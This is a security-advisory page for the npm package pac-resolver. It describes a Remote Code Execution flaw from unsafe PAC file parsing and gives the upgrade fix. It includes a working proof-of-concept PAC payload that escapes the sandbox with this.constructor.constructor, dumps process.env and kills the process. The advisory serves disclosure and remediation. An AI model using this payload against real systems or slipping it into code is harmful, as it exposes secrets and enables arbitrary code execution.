pac-resolver@0.0.1 vulnerabilities

Generates an asynchronous resolver function from a PAC file

  • latest version

    7.0.1

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    10 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the pac-resolver package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Remote Code Execution (RCE)

    Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

    In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

    NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

    PoC

    const pac = require('pac-resolver');
    
    // Should keep running forever (if not vulnerable):
    setInterval(() => {
        console.log("Still running");
    }, 1000);
    
    // Parsing a malicious PAC file unexpectedly executes unsandboxed code:
    pac(`
        // Real PAC config:
        function FindProxyForURL(url, host) {
            return "DIRECT";
        }
    
        // But also run arbitrary code:
        var f = this.constructor.constructor(\`
            // Running outside the sandbox:
            console.log('Read env vars:', process.env);
            console.log('!!! PAC file is running arbitrary code !!!');
            console.log('Can read & could exfiltrate env vars ^');
            console.log('Can kill parsing process, like so:');
            process.exit(100); // Kill the vulnerable process
            // etc etc
        \`);
    
        f();
    

    How to fix Remote Code Execution (RCE)?

    Upgrade pac-resolver to version 5.0.0 or higher.

    <5.0.0